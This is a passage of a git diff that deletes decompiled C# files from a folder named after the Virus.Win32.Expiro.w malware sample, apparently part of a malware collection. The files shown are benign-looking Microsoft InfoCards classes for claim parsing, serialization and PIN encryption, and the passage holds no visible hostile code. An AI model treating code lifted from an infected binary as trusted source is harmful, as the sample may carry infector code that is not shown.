XmlDateTimeSerializationMode.Utc); - continue; - case "SupportedClaimTypeList": - this.ReadClaims(reader); - continue; - case "SupportedTokenTypeList": - this.TokenTypes = this.ReadTokenType(reader).ToArray(); - continue; - case "RequireAppliesTo": - string attribute = reader.GetAttribute("Optional", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("Optional"); - this.RequireAppliesto = string.IsNullOrEmpty(attribute) || !("true" == attribute) && !("1" == attribute) ? RequireAppliesToStatus.Required : RequireAppliesToStatus.Optional; - continue; - case "TokenServiceList": - this.ReadAuthServices(reader); - continue; - case "PrivacyNotice": - this.ReadPrivacyPolicy(reader); - continue; - case "IsSelfIssued": - this.IsSelfIssued = Convert.ToBoolean(reader.ReadString().Trim(), (IFormatProvider) CultureInfo.InvariantCulture); - if (this.IsSelfIssued && this.m_readIssuerInformation) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ExtendedInfoInSelfIssued"))); - continue; - case "PinDigest": - byte[] array1 = Utility.ReadByteStreamFromBase64(reader).ToArray(); - if (array1 != null && array1.Length != 0) - { - this.m_pinHash = array1; - continue; - } - continue; - case "HashSalt": - byte[] array2 = Utility.ReadByteStreamFromBase64(reader).ToArray(); - if (array2 != null && array2.Length != 0) - { - this.HashSalt = array2; - continue; - } - continue; - case "TimeLastUpdated": - string s = reader.ReadString().Trim(); - if (!string.IsNullOrEmpty(s)) - { - this.LastUpdate = XmlConvert.ToDateTime(s, XmlDateTimeSerializationMode.Utc); - continue; - } - continue; - case "IssuerId": - byte[] array3 = Utility.ReadByteStreamFromBase64(reader).ToArray(); - if (array3 != null && array3.Length != 0) - { - this.IssuerIdentifierAsBytes = array3; - continue; - } - continue; - case "BackgroundColor": - this.BackgroundColor = Convert.ToInt32(reader.ReadString().Trim(), (IFormatProvider) CultureInfo.InvariantCulture); - continue; - default: - continue; - } - } - else if ("http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI && XmlNodeType.EndElement != reader.NodeType && "RequireStrongRecipientIdentity" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI) - this.GetRPIdentityRequirement().StrongIdentityRequired = true; - } - } - catch (UriFormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidUriFormat"), (Exception) ex)); - } - } - - private void ReadPrivacyPolicy(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - string str = reader.IsStartElement("PrivacyNotice", "http://schemas.xmlsoap.org/ws/2005/05/identity") ? reader.GetAttribute("Version", "http://www.w3.org/XML/1998/namespace") : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - if (string.IsNullOrEmpty(str)) - str = reader.GetAttribute("Version"); - if (!string.IsNullOrEmpty(str)) - this.m_privacyPolicyVersion = Convert.ToUInt32(str, (IFormatProvider) CultureInfo.InvariantCulture); - this.m_privacyPolicyLink = reader.ReadString().Trim(); - } - - private void ReadClaimValues(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("ClaimValueList", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - while (reader.Read() && (XmlNodeType.EndElement != reader.NodeType || !("ClaimValueList" == reader.LocalName))) - { - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" == reader.NamespaceURI && "ClaimValue" == reader.LocalName && XmlNodeType.Element == reader.NodeType) - { - string attribute = reader.GetAttribute("Uri", "http://www.w3.org/XML/1998/namespace"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("Uri"); - reader.Read(); - string s = reader.ReadString().Trim(); - if (!this.IsPinProtected && s.Length > (int) byte.MaxValue) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("TooLongClaimValue"))); - if (!string.IsNullOrEmpty(attribute)) - { - if (!this.m_claims.ContainsKey(attribute)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - if (!string.IsNullOrEmpty(s) && !this.IsPinProtected) - { - if (InfoCardConstants.Gender == attribute && !("0" == s) && !("1" == s) && !("2" == s)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - if (InfoCardConstants.DateOfBirth == attribute) - { - try - { - XmlConvert.ToDateTime(s, XmlDateTimeSerializationMode.Utc); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - } - } - } - this.m_claims[attribute].Value = s; - } - } - } - } - - private void ReadClaims(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("SupportedClaimTypeList", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - while (reader.Read() && (XmlNodeType.EndElement != reader.NodeType || !("SupportedClaimTypeList" == reader.LocalName))) - { - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" == reader.NamespaceURI && "SupportedClaimType" == reader.LocalName) - { - InfoCardClaim claim = this.ReadSingleClaim(reader); - if (claim != null) - this.AddClaim(claim); - } - } - } - - private InfoCardClaim ReadSingleClaim(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("SupportedClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - string displaytag = (string) null; - string description = (string) null; - string str = (string) null; - string attribute = reader.GetAttribute("Uri", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("Uri"); - if (reader.IsEmptyElement) - { - if (!string.IsNullOrEmpty(attribute)) - return new InfoCardClaim(attribute, str, description, displaytag); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ClaimIdNull"))); - } - while (reader.Read()) - { - switch (reader.LocalName) - { - case "SupportedClaimType": - if (XmlNodeType.EndElement == reader.NodeType) - { - if (!string.IsNullOrEmpty(attribute)) - return new InfoCardClaim(attribute, str, description, displaytag); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ClaimIdNull"))); - } - continue; - case "Description": - description = reader.ReadString().Trim(); - continue; - case "DisplayTag": - displaytag = reader.ReadString().Trim(); - continue; - case "ClaimValue": - if (this.IsSelfIssued) - { - str = reader.ReadString().Trim(); - continue; - } - continue; - default: - continue; - } - } - return (InfoCardClaim) null; - } - - private void ReadAuthServices(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("TokenServiceList", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - if (reader.IsEmptyElement) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("NoAuthenticationServicesInCard"))); - while (reader.Read()) - { - switch (reader.LocalName) - { - case "TokenService": - if (reader.NodeType != XmlNodeType.EndElement) - { - TokenCreationParameter creationParameter = new TokenCreationParameter(); - creationParameter.ReadXml(reader); - if (!creationParameter.IsComplete()) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidTokenService"))); - this.CreationParameters.Add(creationParameter); - continue; - } - continue; - case "TokenServiceList": - return; - default: - continue; - } - } - } - - private List ReadTokenType(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("SupportedTokenTypeList", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - List stringList = new List(); - while (reader.Read() && (XmlNodeType.EndElement != reader.NodeType || !("SupportedTokenTypeList" == reader.LocalName))) - { - if ("TokenType" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2005/02/trust" == reader.NamespaceURI && XmlNodeType.EndElement != reader.NodeType && !reader.IsEmptyElement) - { - string str = reader.ReadString().Trim(); - if (!string.IsNullOrEmpty(str)) - stringList.Add(str); - } - } - return stringList; - } - - private enum PinAction : byte - { - NoPin, - PinSame, - PinAdded, - PinRemoved, - PinChanged, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardBinaryReader.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardBinaryReader.cs deleted file mode 100644 index 894358e4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardBinaryReader.cs +++ /dev/null @@ -1,146 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardBinaryReader -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Runtime.InteropServices; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal sealed class InfoCardBinaryReader : BinaryReader - { - private static readonly char[] s_singleChar = new char[1] - { - 'a' - }; - private int m_charSize; - - public InfoCardBinaryReader(Stream stream, Encoding encoding) - : base(stream, encoding) - { - this.m_charSize = encoding.GetByteCount(InfoCardBinaryReader.s_singleChar); - } - - public InfoCardBinaryReader(Stream stream) - : this(stream, Encoding.Unicode) - { - } - - public override int Read() - { - this.EnsureBufferBounds(1L); - return base.Read(); - } - - public override int Read(byte[] buffer, int index, int count) => base.Read(buffer, index, count); - - public override int Read(char[] buffer, int index, int count) => base.Read(buffer, index, count); - - public override bool ReadBoolean() - { - this.EnsureBufferBounds(1L); - return base.ReadBoolean(); - } - - public override byte ReadByte() - { - this.EnsureBufferBounds(1L); - return base.ReadByte(); - } - - public override byte[] ReadBytes(int count) - { - this.EnsureBufferBounds((long) count); - return base.ReadBytes(count); - } - - public override char ReadChar() - { - this.EnsureBufferBounds((long) this.m_charSize); - return base.ReadChar(); - } - - public override char[] ReadChars(int count) - { - this.EnsureBufferBounds(Convert.ToInt64(this.m_charSize * count)); - return base.ReadChars(count); - } - - public override Decimal ReadDecimal() - { - this.EnsureBufferBounds(Convert.ToInt64(Marshal.SizeOf(typeof (Decimal)))); - return base.ReadDecimal(); - } - - public override double ReadDouble() - { - this.EnsureBufferBounds(8L); - return base.ReadDouble(); - } - - public override short ReadInt16() - { - this.EnsureBufferBounds(2L); - return base.ReadInt16(); - } - - public override int ReadInt32() - { - this.EnsureBufferBounds(4L); - return base.ReadInt32(); - } - - public override long ReadInt64() - { - this.EnsureBufferBounds(8L); - return base.ReadInt64(); - } - - public override sbyte ReadSByte() - { - this.EnsureBufferBounds(1L); - return base.ReadSByte(); - } - - public override float ReadSingle() - { - this.EnsureBufferBounds(4L); - return base.ReadSingle(); - } - - public override string ReadString() - { - this.EnsureBufferBounds((long) (this.m_charSize * this.PeekChar() + 4)); - return base.ReadString(); - } - - public override ushort ReadUInt16() - { - this.EnsureBufferBounds(4L); - return base.ReadUInt16(); - } - - public override uint ReadUInt32() - { - this.EnsureBufferBounds(4L); - return base.ReadUInt32(); - } - - public override ulong ReadUInt64() - { - this.EnsureBufferBounds(8L); - return base.ReadUInt64(); - } - - private void EnsureBufferBounds(long offset) - { - if ((ulong) (this.BaseStream.Position + offset) > (ulong) this.BaseStream.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidOrCorruptArgumentStream"))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardClaim.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardClaim.cs deleted file mode 100644 index 39c33dd5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardClaim.cs +++ /dev/null @@ -1,92 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardClaim -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class InfoCardClaim - { - private string m_id; - private string m_claimValue; - private string m_displayTag; - private string m_description; - - public InfoCardClaim() - { - } - - public InfoCardClaim(string id, string value) - : this(id, value, (string) null, (string) null) - { - } - - public InfoCardClaim(string id, string value, string description, string displaytag) - { - this.m_id = !string.IsNullOrEmpty(id) ? id : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (id)); - this.m_claimValue = value; - this.m_displayTag = displaytag; - this.m_description = description; - } - - public string Id => this.m_id; - - public string Value - { - get => this.m_claimValue; - set => this.m_claimValue = value; - } - - public string DisplayTag => this.m_displayTag; - - public string Description => this.m_description; - - public override string ToString() => this.m_claimValue; - - public void ThrowIfNotComplete() - { - if (string.IsNullOrEmpty(this.m_id)) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public void Serialize(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - if (writer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (writer)); - Utility.SerializeString(writer, this.m_id); - Utility.SerializeString(writer, this.m_displayTag); - Utility.SerializeString(writer, this.m_description); - Utility.SerializeString(writer, this.m_claimValue); - } - - public void DeSerialize(BinaryReader reader) - { - this.m_id = Utility.DeserializeString(reader); - this.m_displayTag = Utility.DeserializeString(reader); - this.m_description = Utility.DeserializeString(reader); - this.m_claimValue = Utility.DeserializeString(reader); - } - - public void Encrypt(PinProtectionHelper pinHelper) - { - byte[] bytes = new UnicodeEncoding().GetBytes(this.m_claimValue); - this.m_claimValue = Convert.ToBase64String(pinHelper.Encrypt(bytes)); - } - - public void Decrypt(PinProtectionHelper pinHelper) - { - UnicodeEncoding unicodeEncoding = new UnicodeEncoding(); - byte[] encrypted = Convert.FromBase64String(this.m_claimValue); - this.m_claimValue = unicodeEncoding.GetString(pinHelper.Decrypt(encrypted)); - } - - public InfoCardClaim Clone() => new InfoCardClaim((string) this.m_id.Clone(), string.IsNullOrEmpty(this.m_claimValue) ? (string) null : (string) this.m_claimValue.Clone(), string.IsNullOrEmpty(this.m_description) ? (string) null : (string) this.m_description.Clone(), string.IsNullOrEmpty(this.m_displayTag) ? (string) null : (string) this.m_displayTag.Clone()); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardClaimCollection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardClaimCollection.cs deleted file mode 100644 index 38cf1844..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardClaimCollection.cs +++ /dev/null @@ -1,158 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardClaimCollection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class InfoCardClaimCollection : Dictionary - { - private const int InvalidRow = 0; - private Uri m_infoCardId; - private int m_rowId; - - private InfoCardClaimCollection() - { - } - - public InfoCardClaimCollection(Uri infoCardId) - : this() - { - this.m_infoCardId = !((Uri) null == infoCardId) ? infoCardId : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (infoCardId)); - } - - public void Add(InfoCardClaim claim) => this[claim.Id] = claim != null ? claim : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (claim)); - - public void Get(StoreConnection con) - { - DataRow dataRow = con != null ? this.TryGetRow(con, QueryDetails.FullRow) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (dataRow == null) - return; - this.Deserialize((Stream) new MemoryStream(dataRow.GetDataField())); - this.m_rowId = dataRow.LocalId; - } - - public void Serialize(Stream stream, bool selfIssued) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - int count = this.Count; - if (selfIssued && this.ContainsKey(InfoCardConstants.PPIDClaimsUri)) - --count; - writer.Write(count); - foreach (KeyValuePair keyValuePair in (Dictionary) this) - { - if (selfIssued) - { - if (InfoCardConstants.PPIDClaimsUri != keyValuePair.Key) - keyValuePair.Value.Serialize(writer); - } - else - keyValuePair.Value.Serialize(writer); - } - } - - public void AgentSerialize(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write(this.Count); - foreach (KeyValuePair keyValuePair in (Dictionary) this) - keyValuePair.Value.Serialize(writer); - } - - public void Deserialize(Stream stream) - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - int num = reader.ReadInt32(); - for (int index = 0; index < num; ++index) - { - InfoCardClaim infoCardClaim = new InfoCardClaim(); - infoCardClaim.DeSerialize(reader); - this[infoCardClaim.Id] = infoCardClaim; - } - } - - public void Save(StoreConnection con, bool selfIssued) - { - DataRow row = con != null ? this.TryGetRow(con, QueryDetails.FullHeader) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (row == null) - { - row = new DataRow(); - row.ObjectType = 2; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream, selfIssued); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - } - - public void Encrypt(PinProtectionHelper pinHelper) - { - foreach (KeyValuePair keyValuePair in (Dictionary) this) - { - if (keyValuePair.Value.Value.Length > 0) - keyValuePair.Value.Encrypt(pinHelper); - } - } - - public void Decrypt(PinProtectionHelper pinHelper) - { - foreach (KeyValuePair keyValuePair in (Dictionary) this) - { - if (keyValuePair.Value.Value.Length > 0) - { - keyValuePair.Value.Decrypt(pinHelper); - if (!string.IsNullOrEmpty(keyValuePair.Value.Value)) - { - if (InfoCardConstants.Gender == keyValuePair.Key && !("0" == keyValuePair.Value.Value) && !("1" == keyValuePair.Value.Value) && !("2" == keyValuePair.Value.Value)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidEncryptedClaimValues"))); - if (InfoCardConstants.DateOfBirth == keyValuePair.Key) - { - try - { - XmlConvert.ToDateTime(keyValuePair.Value.Value, XmlDateTimeSerializationMode.Utc); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidEncryptedClaimValues"))); - throw; - } - } - } - } - } - } - - public InfoCardClaimCollection Clone() - { - InfoCardClaimCollection cardClaimCollection = new InfoCardClaimCollection(new Uri(this.m_infoCardId.OriginalString)); - cardClaimCollection.m_rowId = this.m_rowId; - foreach (KeyValuePair keyValuePair in (Dictionary) this) - cardClaimCollection[(string) keyValuePair.Key.Clone()] = keyValuePair.Value.Clone(); - return cardClaimCollection; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "null infocard id"); - return con.GetSingleRow(details, new QueryParameter("ix_objecttype", new object[1] - { - (object) 2 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardConstants.cs deleted file mode 100644 index c2b7f665..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardConstants.cs +++ /dev/null @@ -1,189 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.IdentityModel.Claims; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal static class InfoCardConstants - { - private const int DEFAULT_MAX_MESSAGE_SIZE = 20971520; - private const int DEFAULT_MAX_MEX_CHAIN = 100; - private const string MAX_MESSAGE_KEY = "MaximumMessageSize"; - private const string MAX_MEX_CHAIN = "MaximumMexChain"; - private const string INFOCARD_REGISTRY_KEY = "software\\microsoft\\infocard"; - private static int s_maxMessageSize; - private static int s_maxMexChainLength; - private static string[] s_SelfIssuedClaims = new string[14] - { - InfoCardConstants.GivenName, - InfoCardConstants.Surname, - InfoCardConstants.EmailAddress, - InfoCardConstants.StreetAddress, - InfoCardConstants.Locality, - InfoCardConstants.StateOrProvince, - InfoCardConstants.PostalCode, - InfoCardConstants.Country, - InfoCardConstants.HomePhone, - InfoCardConstants.OtherPhone, - InfoCardConstants.MobilePhone, - InfoCardConstants.DateOfBirth, - InfoCardConstants.Gender, - InfoCardConstants.Webpage - }; - private static Dictionary s_claimDisplayTags = new Dictionary(); - private static Dictionary s_claimDescription = new Dictionary(); - private static XmlDictionaryReaderQuotas s_defaultQuotas = new XmlDictionaryReaderQuotas(); - private static List s_localTokenFactoryWhiteList = new List(); - private static List s_policyElementsToBeProcessed = new List(); - - public static int MaximumMessageSize => InfoCardConstants.s_maxMessageSize; - - public static int MaximumMexChainLength => InfoCardConstants.s_maxMexChainLength; - - public static string RegistryKey => "software\\microsoft\\infocard"; - - public static string GivenName => ClaimTypes.GivenName; - - public static string EmailAddress => ClaimTypes.Email; - - public static string Surname => ClaimTypes.Surname; - - public static string StreetAddress => ClaimTypes.StreetAddress; - - public static string Locality => ClaimTypes.Locality; - - public static string StateOrProvince => ClaimTypes.StateOrProvince; - - public static string PostalCode => ClaimTypes.PostalCode; - - public static string Country => ClaimTypes.Country; - - public static string HomePhone => ClaimTypes.HomePhone; - - public static string OtherPhone => ClaimTypes.OtherPhone; - - public static string MobilePhone => ClaimTypes.MobilePhone; - - public static string DateOfBirth => ClaimTypes.DateOfBirth; - - public static string Gender => ClaimTypes.Gender; - - public static string PPID => ClaimTypes.PPID; - - public static string Webpage => ClaimTypes.Webpage; - - public static bool DoesLocalTokenFactoryWhiteListContain(string nameSpaceValue, string value) => InfoCardConstants.s_localTokenFactoryWhiteList.Contains(nameSpaceValue + "/" + value); - - public static bool DoesPolicyElementsToBeProcessedListContain( - string nameSpaceValue, - string value) - { - return InfoCardConstants.s_policyElementsToBeProcessed.Contains(nameSpaceValue + "/" + value); - } - - public static XmlDictionaryReaderQuotas DefaultQuotas => InfoCardConstants.s_defaultQuotas; - - public static string[] SelfIssuedClaimsUris => InfoCardConstants.s_SelfIssuedClaims; - - public static string PPIDClaimsUri => InfoCardConstants.PPID; - - public static string ClaimDisplayTag(string key) => InfoCardConstants.s_claimDisplayTags.ContainsKey(key) ? SR.GetString(InfoCardConstants.s_claimDisplayTags[key]) : throw InfoCardTrace.ThrowHelperWarning((Exception) new ArgumentOutOfRangeException(SR.GetString("InvalidSelfIssuedUri"))); - - public static string ClaimsDescription(string key) => InfoCardConstants.s_claimDescription.ContainsKey(key) ? SR.GetString(InfoCardConstants.s_claimDescription[key]) : throw InfoCardTrace.ThrowHelperWarning((Exception) new ArgumentOutOfRangeException(SR.GetString("InvalidSelfIssuedUri"))); - - static InfoCardConstants() - { - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.GivenName, "GivenNameText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.EmailAddress, "EmailAddressText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Country, "CountryText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.DateOfBirth, "DateOfBirthText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Gender, "GenderText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.HomePhone, "HomePhoneText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Locality, "LocalityText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.MobilePhone, "MobilePhoneText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.OtherPhone, "OtherPhoneText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.PostalCode, "PostalCodeText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.StateOrProvince, "StateOrProvinceText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.StreetAddress, "StreetAddressText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Surname, "SurnameText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.PPID, "PPIDText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Webpage, "WebPageText"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.GivenName, "GivenNameDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.EmailAddress, "EmailAddressDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Country, "CountryDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.DateOfBirth, "DateOfBirthDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Gender, "GenderDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.HomePhone, "HomePhoneDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Locality, "LocalityDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.MobilePhone, "MobilePhoneDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.OtherPhone, "OtherPhoneDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.PostalCode, "PostalCodeDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.StateOrProvince, "StateOrProvinceDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.StreetAddress, "StreetAddressDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Surname, "SurnameDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.PPID, "PPIDDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Webpage, "WebPageDescription"); - InfoCardConstants.s_defaultQuotas.MaxDepth = 32; - InfoCardConstants.s_defaultQuotas.MaxStringContentLength = 8192; - InfoCardConstants.s_defaultQuotas.MaxArrayLength = 20971520; - InfoCardConstants.s_defaultQuotas.MaxBytesPerRead = 4096; - InfoCardConstants.s_defaultQuotas.MaxNameTableCharCount = 16384; - InfoCardConstants.s_maxMessageSize = 20971520; - InfoCardConstants.s_maxMexChainLength = 100; - using (new SystemIdentity(false)) - { - using (Microsoft.Win32.RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("software\\microsoft\\infocard", 